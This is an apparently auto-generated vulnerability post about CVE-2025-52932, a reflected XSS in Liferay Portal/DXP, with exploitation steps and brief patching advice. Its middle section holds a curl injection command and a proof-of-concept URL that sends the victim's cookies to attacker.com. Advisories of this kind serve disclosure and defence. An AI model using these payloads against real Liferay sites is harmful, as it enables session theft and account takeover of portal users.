Listen to this Post
How the mentioned CVE works:
The vulnerability CVE-2025-52932 is a reflected Cross-Site Scripting (XSS) regression in Liferay Portal and DXP. It occurs when user-supplied input in the `_com_liferay_dynamic_data_mapping_web_portlet_DDMPortlet_definition` parameter is not properly sanitized before being included in the server’s response. An authenticated attacker can craft a malicious URL containing a JavaScript payload within this parameter. When an authenticated victim is tricked into clicking this link, the embedded script is reflected and executed immediately within their browser session. This allows the attacker to steal the victim’s session cookies, perform actions on their behalf, or deface the portal, all within the context of the vulnerable Liferay application.
DailyCVE Form:
Platform: Liferay Portal/DXP
Version: Multiple Versions
Vulnerability : Reflected XSS
Severity: Moderate
date: 2025-10-22
Prediction: 2025-11-12
What Undercode Say:
curl -s "https://vulnerable-liferay.com/web/guest/ddm" -G \ --data-urlencode "_com_liferay_dynamic_data_mapping_web_portlet_DDMPortlet_definition=<script>alert(document.cookie)</script>"
<!-- Proof-of-Concept URL -->
https://vulnerable-liferay.com/web/guest/ddm?_com_liferay_dynamic_data_mapping_web_portlet_DDMPortlet_definition=<script>fetch('https://attacker.com/steal?cookie='%2Bdocument.cookie)</script>
How Exploit:
Craft malicious URL.
Phish authenticated user.
Execute stolen scripts.
Protection from this CVE:
Apply vendor patch.
Implement input sanitization.
Use Content Security Policy.
Impact:
Session hijacking.
Privilege escalation.
Portal defacement.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

